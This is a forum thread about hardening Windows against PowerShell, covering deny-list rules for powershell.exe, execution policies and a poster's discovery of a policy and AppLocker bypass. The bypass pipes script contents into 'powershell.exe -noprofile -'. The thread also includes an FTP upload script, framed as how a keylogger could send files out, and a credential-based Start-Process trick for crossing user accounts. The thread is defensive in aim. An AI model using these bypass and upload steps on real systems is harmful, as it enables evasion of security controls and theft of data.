Blocking Powershell?
3 posters
Page 1 of 1
Blocking Powershell?
Firstly, I don't know much about Powershell, except that it allows you to run various (potentially malicious) scripts and that it can be used to bypass SRP. Happily, I don't have Powershell installed on my system, and don't ever intend on having it installed (on Windows XP).
Here's some information about Powershell:
http://en.wikipedia.org/wiki/Windows_PowerShell
http://technet.microsoft.com/en-us/library/ee176949.aspx
However, Windows 7 (and I think Vista) has Powershell built into it. The vast majority of computer users out there will never use Powershell, or any other type of scripting execution (cmd.exe, cscript.exe etc) for that matter. I personally don't use them, and that's why I have setup my SRP as described here to block them:
https://ssj100.forumotion.com/free-for-all-f4/ssj100-s-security-setup-t4.htm#16
Since I don't have Powershell installed, there's no need to block it. However, how about those who have (mistakenly) installed Powershell or those who run Windows 7? Well, I suspect there are 2 executables that you will need to add to your deny list in your SRP:
powershell.exe
powershell_ise.exe
There you have it. Any vulnerability or threat-gate that was opened up by Powershell is now gone. This is another simple tweak to use and adds to my belief that anti-execution is the best single form of protection (although arguably containment is better) - if it can't execute, it can't infect. Also, I believe that using Window's own built-in security is the best way to achieve this anti-execution.
Here's some information about Powershell:
http://en.wikipedia.org/wiki/Windows_PowerShell
http://technet.microsoft.com/en-us/library/ee176949.aspx
However, Windows 7 (and I think Vista) has Powershell built into it. The vast majority of computer users out there will never use Powershell, or any other type of scripting execution (cmd.exe, cscript.exe etc) for that matter. I personally don't use them, and that's why I have setup my SRP as described here to block them:
https://ssj100.forumotion.com/free-for-all-f4/ssj100-s-security-setup-t4.htm#16
Since I don't have Powershell installed, there's no need to block it. However, how about those who have (mistakenly) installed Powershell or those who run Windows 7? Well, I suspect there are 2 executables that you will need to add to your deny list in your SRP:
powershell.exe
powershell_ise.exe
There you have it. Any vulnerability or threat-gate that was opened up by Powershell is now gone. This is another simple tweak to use and adds to my belief that anti-execution is the best single form of protection (although arguably containment is better) - if it can't execute, it can't infect. Also, I believe that using Window's own built-in security is the best way to achieve this anti-execution.
Re: Blocking Powershell?
Thanks for the hint. Didn't know that the PowerShell already is a Windows 7 built-in.ssj100 wrote:However, Windows 7 (and I think Vista) has Powershell built into it.
Ruhe- Valued Member
- Posts : 261
Join date : 2010-04-16
Location : Germany
Re: Blocking Powershell?
Yep, in W7 Ent 32bit I found powershell.exe and powershell_ise.exe in a few locations (\windows\winsxs and \windows\system32).
tnegjm- Member
- Posts : 37
Join date : 2010-04-20
Re: Blocking Powershell?
tnegjm wrote:Yep, in W7 Ent 32bit I found powershell.exe and powershell_ise.exe in a few locations (\windows\winsxs and \windows\system32).
Yes, and they are easily blocked with the addition of rules into your SRP or AppLocker. Bulletproof protection remains!
Re: Blocking Powershell?
mtptl wrote:Now, that seems like good news and bad news. Good news is: it's likekly
not PowerShell's fault, bad news is: you've got something blocking
PowerShell.
You seem to have some kind of application that is blocking PowerShell
from talking over the SMTP port.
More recent applications like client firewalls, will actually block the
use of special ports. Sure, you're email application (Outlook) or
whatever may work fine, but there may be special rules on your computer
that say "only Outlook can send email", which technically means that
If you have such a clien-side firewall, it is saying "nope, PowerShell
can't talk over TCP port 25, I won't allow it, I don't know this program
so it could be a virus/trojan/rootkit".
I'm not sure, but I didn't understand one bit of what you've written there haha. Also, given you posted this https://ssj100.forumotion.com/free-for-all-f4/removing-modern-paint-from-lead-framed-windows-t118.htm in "Windows Hardening", it makes me think that you are arguably the best troller I've ever seen. But there's still "reasonable doubt" so "I'll allow it" haha.
Re: Blocking Powershell?
I thought of passing by and clarify some of your concerns.
Unlike VBScript, for example, PowerShell was built with security in mind. By default, users cannot execute PowerShell scripts. Execution is blocked. To allow execution the user needs to open PowerShell with administrator privileges and change the security policy. One could also use cmd line or a batch file, for example.
The default execution policy is Restricted. You can see what's the current security policy by writing this cmdlet (PowerShell commands are called command-lets/cmdlets):
Get-ExecutionPolicy
If no one changed anything, it should report Restricted.
There are 4 execution policies: Restricted, AllSigned, RemoteSigned and Unrestricted.
Restricted - No scripts can be executed, at all.
AllSigned - Scripts must be digitally signed and the publisher trusted.
RemoteSigned - Downloaded scripts must be digitally signed and the publisher trusted; local scripts allowed to execute (for sure the user must trust his/her own scripts)
Unrestricted - All scripts can run. THIS POLICY IS TO BE AVOIDED!
You can create your own certificates for the PowerShell scripts, so AllSigned is the preferable execution policy, but RemoteSigned is already good enough, as downloaded scripts must be digitally signed and trusted, otherwise they won't run.
Signing your scripts is great if you want to be sure they won't be modified. The digital signature contains both an identification (the person/entity that wrote the script) and an encrypted version of the script itself. So, if the readable script is changed, PowerShell won't execute the script.
Even if you (any user) get a PowerShell script in your e-mail and you open it, it won't execute anyway. PowerShell scripts are not defined to open with PowerShell, but with Notepad. Nothing happens.
You can try it yourself. Open Notepad and write this: Set-ExecutionPolicy Unrestricted
Save it as PowerShellScript.ps1, double-click it and see what happens. It will open with Notepad.
There's no need to block PowerShell. To mess with PowerShell something would need administrator privileges... What would be the point of blocking it with SRP/AppLocker? None.
Cheers
-edit-
Even if you're running as a full administrator, you'd still need to allow execution.
Unlike VBScript, for example, PowerShell was built with security in mind. By default, users cannot execute PowerShell scripts. Execution is blocked. To allow execution the user needs to open PowerShell with administrator privileges and change the security policy. One could also use cmd line or a batch file, for example.
The default execution policy is Restricted. You can see what's the current security policy by writing this cmdlet (PowerShell commands are called command-lets/cmdlets):
Get-ExecutionPolicy
If no one changed anything, it should report Restricted.
There are 4 execution policies: Restricted, AllSigned, RemoteSigned and Unrestricted.
Restricted - No scripts can be executed, at all.
AllSigned - Scripts must be digitally signed and the publisher trusted.
RemoteSigned - Downloaded scripts must be digitally signed and the publisher trusted; local scripts allowed to execute (for sure the user must trust his/her own scripts)
Unrestricted - All scripts can run. THIS POLICY IS TO BE AVOIDED!
You can create your own certificates for the PowerShell scripts, so AllSigned is the preferable execution policy, but RemoteSigned is already good enough, as downloaded scripts must be digitally signed and trusted, otherwise they won't run.
Signing your scripts is great if you want to be sure they won't be modified. The digital signature contains both an identification (the person/entity that wrote the script) and an encrypted version of the script itself. So, if the readable script is changed, PowerShell won't execute the script.
Even if you (any user) get a PowerShell script in your e-mail and you open it, it won't execute anyway. PowerShell scripts are not defined to open with PowerShell, but with Notepad. Nothing happens.
You can try it yourself. Open Notepad and write this: Set-ExecutionPolicy Unrestricted
Save it as PowerShellScript.ps1, double-click it and see what happens. It will open with Notepad.
There's no need to block PowerShell. To mess with PowerShell something would need administrator privileges... What would be the point of blocking it with SRP/AppLocker? None.
Cheers
-edit-
Even if you're running as a full administrator, you'd still need to allow execution.
Guest- Guest
Re: Blocking Powershell?
Thanks for the clarification. I suppose I was trying to work out a way to completely disable PowerShell - I remember reading that you can't uninstall PowerShell from Windows 7? So I thought the next best thing would be to block PowerShell from running. Given a privilege escalation attack would bypass SRP/AppLocker anyway, blocking PowerShell with SRP/AppLocker would be (almost entirely) pointless.m00nbl00d wrote:There's no need to block PowerShell. To mess with PowerShell something would need administrator privileges... What would be the point of blocking it with SRP/AppLocker? None.
Re: Blocking Powershell?
ssj100 wrote:Thanks for the clarification. I suppose I was trying to work out a way to completely disable PowerShell - I remember reading that you can't uninstall PowerShell from Windows 7? So I thought the next best thing would be to block PowerShell from running. Given a privilege escalation attack would bypass SRP/AppLocker anyway, blocking PowerShell with SRP/AppLocker would be (almost entirely) pointless.m00nbl00d wrote:There's no need to block PowerShell. To mess with PowerShell something would need administrator privileges... What would be the point of blocking it with SRP/AppLocker? None.
That I know of, it's no possible to uninstall PowerShell. But, it makes sense, though. Over time, PowerShell will become applications management center, in what comes to automation.
For example, you can work with Windows Firewall, AppLocker (not sure about SRP), Microsoft Exchange... and others. Others don't allow a full automation yet, but as an example, VMware ESX supports PowerShell. I don't think it fully supports it yet, but over time... it probably will.
Don't forget that Windows PowerShell is essentially for administrators (IT business), and not for home users. That said, the vast majority of home users will never use PowerShell. Therefore, it will never be a target, specially considering the security it has. It's not like VBS scripts, which wscript.exe, for example, offers no security. If a user receives a VBS script in an e-mail and double-clicks and if no other protection is in place, then the script can do whatever it wants to, depending on whether the user is running as standard user or full admin.
By the way, if you do wish to block PowerShell, you could also create a sandbox for it. Force it to run there, but in the Start/Run access permissions, put some bogus process name there... like IwanttoblockPowerShell.exe... It's an extra comfort, I suppose. ;D
Guest- Guest
Re: Blocking Powershell?
Probably a safe assumption, just like AppLocker/SRP will never be a target.m00nbl00d wrote:Therefore, it will never be a target, specially considering the security it has.
Sounds like a good idea! Always nice to make use of Sandboxie in ways it wasn't really designed for - just shows how versatile and configurable the program is.m00nbl00d wrote:By the way, if you do wish to block PowerShell, you could also create a sandbox for it. Force it to run there, but in the Start/Run access permissions, put some bogus process name there... like IwanttoblockPowerShell.exe... It's an extra comfort, I suppose. ;D
Re: Blocking Powershell?
I recently restarted learning PowerShell (Due to lazyness I stopped for quite sometime...), and I there's actually a way to execute PowerShell scripts, even with execution policy set to Restricted.
All someone has to do is open powershell.exe and then write something like:
get-content .\dnscrypt-proxy.ps1 | powershell.exe -noprofile -
First, we need to use the cmdlet Get-Content to get the contents of the script dnscrypt-proxy.ps1. This is a script I got and that I created.
Then, we'll pipeline the content, using |, which will pass the content to powershell.exe. powershell.exe will be run with the parameters -noprofile, which means that no PowerShell profile will be executed, and then the parameter -. The parameter - is what actually does the trick.
Of course, we're talking about a situation of using the same privileges the user has. But, it does allow to bypass AppLocker/SRP/etc.
Pretty insane!
All someone has to do is open powershell.exe and then write something like:
get-content .\dnscrypt-proxy.ps1 | powershell.exe -noprofile -
First, we need to use the cmdlet Get-Content to get the contents of the script dnscrypt-proxy.ps1. This is a script I got and that I created.
Then, we'll pipeline the content, using |, which will pass the content to powershell.exe. powershell.exe will be run with the parameters -noprofile, which means that no PowerShell profile will be executed, and then the parameter -. The parameter - is what actually does the trick.
Of course, we're talking about a situation of using the same privileges the user has. But, it does allow to bypass AppLocker/SRP/etc.
Pretty insane!
Guest- Guest
Re: Blocking Powershell?
It's actually a "bit" worse than that!
And...
m00nbl00d wrote:
Suppose you're allowing a PowerShell script to be executed, by creating an hash rule in AppLocker, for instance.
One would expect the script not be allowed execution, if it is modified, because the hash value no longer matches. We could even be using a script for testing purpose for while, maybe a few days... or maybe we just have it in our Desktop. What's to worry, right? I mean, AppLocker/other is there and will prevent execution, if the script gets modified.
Now, we're running in a default deny policy and with outbound control in our firewall. We have a script interacting with the Internet.
If anyone happens to be tricked into running something with standard user rights, this something could be some other kind of tool coded to create some *.ps1 file in the user profile folder, and add to it whatever they want, hide the script, then they can use some scripting language that allows them to automate GUI input... something like AutoIt or AutoHotKey... and hide everything from the user. So, it opens powershell.exe, and with PowerShell window hidden, it will simulate they keyboard and write the command get-content .\script_here.ps1 | powershell.exe -noprofile -. Then it "presses" the Enter key.
Depending on what an attacker wants to do, he/she may actually be able to bypass even a firewall without having to have its own rule, considering the previously created script by the user interacts with the Internet - which could make use of another component that is allowed connection and that can be abused. Maybe an user has got a script to upload files to an ftp server or download something. This could be abused.
For example, this script would allow to upload a file to an ftp server:
- Code:
$FileToUpload = "Path to\powershell.txt"
$ftp = "ftp://username:password@domain.com/pub/incoming/powershell.txt"
"ftp url: $ftp"
$WebClient = New-Object System.Net.WebClient
$URI = New-Object System.Uri($ftp)
$webclient.UploadFile($URI, $FileToUpload)
The above script will use powershell.exe. If that's allowed in the firewall... then any keylogger could abuse PowerShell this way, bypass something like AppLocker and even a firewall.
And...
m00nbl00d wrote:
This could actually be more problematic than what I mentioned above. If it could be worse. ;D
I'll explain what I mean. I practice privilege isolation in my system. What I mean with this is that, I have different standard user accounts to perform different tasks. One of such accounts cannot access my web browsers. There's actually no profile in the connection device for that user account.
Now, imagine that I'm working in this user account, but I happen to have a PowerShell script there, in my userprofile. This script could actually be the script I created. This script I create securily stores another restricted standard user account, whose credentials I use to initiate DNSCrypt for all other user accounts. Normally, AppLocker/other would block, because the hashes no longer match. But, due to the backdoor in Powershell...
I just made another test, using Microsoft DVD Maker. Part of the script looks like this:
- Code:
$username = ""
$password = ""
$credentials = New-Object System.Management.Automation.PSCredential -ArgumentList @($username,(ConvertTo-SecureString -String $password -AsPlainText -Force))
Start-Process DVDMaker -WorkingDirectory "C:\Program Files\DVD Maker" -Credential ($credentials)
The credentials are already stored in a file, that were created by another script I had found. I still don't have enough knowledge to do it on my own this bit. ;D The above script I made it. That's a somewhat basic script. lol
Anyway, let's consider that the credentials are already secured.
You are in an user account without Internet access. But, there's a PowerShell script that apparently is pointing to some other user's account, and who knows, maybe this user can access the Internet and permissions to use a web browser. Right?
So, let's change things a bit.
- Code:
[...]
Start-Process browser -WorkingDirectory "C:\Program Files\browser folder" -Credential ($credentials)
Save the script. Open PowerShell and write the following:
get-content .\script.ps1 | powershell.exe -noprofile -
And, there you go, you open the web browser, using this other user's credentials, and guess what... this user account can access the Internet. Not only that, you can download, etc... who knows, even infect this other user's account, because there's no desktop privilege isolation, when running it like this. (There can be desktop isolation, but one would need to schedule a task, pointing directly to the browser.)
-edit-
If the web browser is Google Chrome, then if all is the same as in the past, then it will open, but the user won't be able to navigate. Something related to its own sandbox. But, it works fine with Internet Explorer... other browsers as well.
Guest- Guest
Re: Blocking Powershell?
So, one has got to ask: Were Microsoft PowerShell team of developers drunk when they created this backdoor?
Guest- Guest
Page 1 of 1
Permissions in this forum:
You cannot reply to topics in this forum
|
|